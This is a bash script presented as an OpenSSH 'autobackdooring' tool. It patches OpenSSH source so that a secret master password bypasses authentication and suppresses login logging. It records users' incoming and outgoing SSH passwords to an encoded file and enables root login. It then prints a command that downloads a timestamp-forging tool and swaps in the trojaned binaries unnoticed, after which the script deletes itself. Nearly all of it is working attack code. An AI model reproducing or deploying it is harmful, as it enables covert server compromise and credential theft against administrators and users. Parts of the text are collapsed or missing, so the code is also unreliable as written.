#!/bin/bash # ============================================ # satyr's openssh autobackdooring doohicky v0.-1 # ImpendingSatyr@gmail.com # ============================================ # USAGE: # Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing). # If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything # (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc. # [it'll install them via apt or yum, whichever is available]). # Note: This script will delete itself once it's fairly sure the openssh compile went smoothly. # It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd. # ============================================ # WTF: # I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are # just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies # such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different # versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't # originally being used on the box, which is just lazy & dumb). # So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O) # ============================================ # FEATURES: # 0) "Magic" password can be automagically generated # 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password. # 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz # Here's the script for decoding for the bastards out there too lazy to go to the above link: # #!/bin/sh # cat > x << __EOF__ # #include # main(int c) { # while(1) { # c = getchar(); if(feof(stdin)) break; # putchar(~c); # } # } # __EOF__ # gcc -x c x -o x; cat $1 | ./x; rm -f x # Do a `cat passlog|./theabovescript.sh` to get the logged passes. # 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command. # 4) Cures cancer # 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script) # 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config) # ============================================ # KNOWN BUGS (or lack of feature): # 0) Sometimes the password generated contains non-printable characters. # 1) No check to see if apt or yum completed successfully when installing a missing lib. # 2) No check to see if the pass log location is writable. (yes, I know that could be added easily) # 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c # on that last command that's echoed for the user to run when done compiling. # 4) No check if box has gcc # ============================================ # NOTE TO ADMINS: # I didn't put this script on your box. You really need to take your box offline and do a clean install of your system. # This script is no different than the other openssh backdoors when it comes to prevention, # tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors. # ============================================ WGET=/usr/bin/wget SSHD=/usr/sbin/sshd # an openssh mirror MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/ SSHETC=/etc/ssh PREFIX=/usr if [ ! -d "$SSHETC" ]; then echo "Error: $SSHETC is not a directory." exit 1 fi if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then echo "(PAM enabled)" pam="--with-pam" fi if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \ [ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then echo "(KRB5 enabled)" gss="--with-kerberos5" fi version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'` extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'` if [ "$1" == "" ]; then read -sp "Magic password (just press enter to use a random one): " PW;echo fi if [ "$PW" == "" ]; then function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;} PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))` fi if [ "$1" == "" ]; then read -p "File to log passwords to: " LOGF else LOGF=$1 fi if [ "$LOGF" == "" ]; then echo "Error: You didn't choose a file to log passwords to." exit 1 fi echo "===========================================================" echo "Using magic password: $PW" cat > md5.$$ << EOF0 $PW EOF0 md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'` rm -f md5.$$ echo "Using password log file: $LOGF" echo "OpenSSH version: $version" echo "===========================================================" LOGFLEN=`echo -n $LOGF|wc -c` let LOGFLEN++ if [ ! -x "$WGET" ]; then echo "Error: $WGET is not executable" exit 1 fi echo "Downloading openssh-$version..." wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save tar zxf openssh-$version.tar.gz rm -f openssh-$version.tar.gz if [ -d "openssh-$version" ]; then cd openssh-$version else echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET" exit 1 fi echo "Modifying openssh src..." cat > bd.h < #include int pi, md5len, ploglen; FILE *f; char md5[32], plog[$LOGFLEN], encbuf[2048]; static char * bpmd5() { EOF echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i> bd.h cat >> bd.h <> bd.h cat >> bd.h < 3.9p1 sed '/auth2-pam-freebsd.c/a\ #include "bd.h" ' -i auth-pam.c sed '/void.*sshpam_conv/a\ if (pi) sshpam_err = PAM_SUCCESS; ' -i auth-pam.c sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c sed '/type == PAM_SUCCESS/a\ if (pi) return 0; ' -i auth-pam.c sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\ if (pi) {\n\ sshpam_cred_established = 1;\n\ return;\n\ }" -i auth-pam.c sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\ if (pi) {\n\ sshpam_cred_established = 1;\n\ return;\n\ }" -i auth-pam.c sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\ char *passmd5 = str2md5(password, strlen(password));\n\ char *bpass = bpmd5();\n\ int enlen;\n\ " -i auth-pam.c sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\ if (strcmp(passmd5,bpass) == 0) {\n\ pi = 1;\n\ return 1;\n\ }" -i auth-pam.c sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\ enlen = sprintf(encbuf,\"pam\");\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ enclog();\n\ " -i auth-pam.c sed '/#include "includes.h"/i\ #include "bd.h"\ #include \ #if defined(__APPLE__)\ # define COMMON_DIGEST_FOR_OPENSSL\ # include \ # define SHA1 CC_SHA1\ #else\ # include \ #endif\ ' -i auth-passwd.c sed '/extern ServerOptions options;/a\ char *str2md5(const char *str, int length) {\ int n;\ MD5_CTX c;\ unsigned char digest[16];\ char *out = (char*)malloc(33);\ MD5_Init(&c);\ while (length > 0) {\ if (length > 512) {\ MD5_Update(&c, str, 512);\ } else {\ MD5_Update(&c, str, length);\ }\ length -= 512;\ str += 512;\ }\ MD5_Final(digest, &c);\ for (n = 0; n < 16; ++n) {\ snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\ }\ return out;\ }\ ' -i auth-passwd.c sed '/#ifndef HAVE_CYGWIN/i\ if (pi) return 1; ' -i auth-passwd.c sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\ char *passmd5 = str2md5(password, strlen(password));\n\ char *bpass = bpmd5();\n\ int enlen;\n\ " -i auth-passwd.c sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\ if (strcmp(passmd5,bpass) == 0) {\n\ pi = 1;\n\ return 1;\n\ }\n\ else {\n\ if (strcmp(encrypted_password, pw_password) == 0) {\n\ enlen = sprintf(encbuf,\"pas\");\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ enclog();\n\ }\n\ }\n\ " -i auth-passwd.c sed '/#include "includes.h"/i\ #include "bd.h" ' -i sshconnect1.c sed '/char \*password;/a\ int enlen; ' -i sshconnect1.c sed '/ssh_put_password(password);/a\ enlen = sprintf(encbuf,"1:");\ enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\ enlen += sprintf(encbuf+enlen,":");\ enlen += sprintf(encbuf+enlen,"%s",options.user);\ enlen += sprintf(encbuf+enlen,":");\ enlen += sprintf(encbuf+enlen,"%s\\n",password);\ enclog();\ ' -i sshconnect1.c sed '/#include "includes.h"/i\ #include "bd.h" ' -i sshconnect2.c sed '/char.*password;/a\ int enlen; ' -i sshconnect2.c sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\ enlen = sprintf(encbuf,\"2:\");\n\ enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\ enlen += sprintf(encbuf+enlen,\":\");\n\ enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\ enclog();\ " -i sshconnect2.c sed '/#include "includes.h"/i\ #include "bd.h" ' -i loginrec.c sed '/#ifndef HAVE_CYGWIN/i\ if (pi) return 0; ' -i loginrec.c sed '/#include "includes.h"/i\ #include "bd.h" ' -i log.c sed '/#if (level > log_level)/i\ if (pi) return; ' -i loginrec.c sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c if [ "$extracrap" != "" ]; then sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h fi echo "Compiling..." ./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then if [ "$1" == "" ]; then echo "Error: PAM headers missing. To install do: " echo " (with apt) apt-get install libpam0g-dev" echo " (with yum) yum install pam-devel" exit 1 else echo "Error: PAM headers missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install pam-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install libpam0g-dev fi echo "If install was successful, rerun $0" exit 1 fi fi if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then echo "Error: No gcc on this box (or in \$PATH)." exit 1 fi if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \ [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then if [ "$1" == "" ]; then echo "Error: zlib missing. To install do: " echo " (with apt) apt-get install zlib1g-dev" echo " (with yum) yum install zlib-devel" exit 1 else echo "Error: zlib missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install zlib-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install zlib1g-dev fi echo "If install was successful, rerun $0" exit 1 fi fi if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then echo "Error: kerberos5 missing. To install do:" echo " (with apt) apt-get install libkrb5-dev" echo " (with yum) yum install krb5-devel" fi if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \ [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then if [ "$1" == "" ]; then echo "Error: libcrypto missing. To install do: " echo " (with apt) apt-get install libssl-dev" echo " (with yum) yum install openssl-devel" exit 1 else echo "Error: libcrypto missing. Attempting automatic install..." if [ -e "/usr/bin/yum" ]; then yum -y install openssl-devel fi if [ -e "/usr/bin/apt-get" ]; then apt-get -y install libssl-dev fi echo "If install was successful, rerun $0" exit 1 fi fi make 2>/dev/null 1>/dev/null if [ -e "sshd" ]; then ls -l ssh sshd cd .. rm -vf $0 echo "Now do this:" echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it." else echo "Error: Compiling failed: " grep error: config.log|tail -1 fi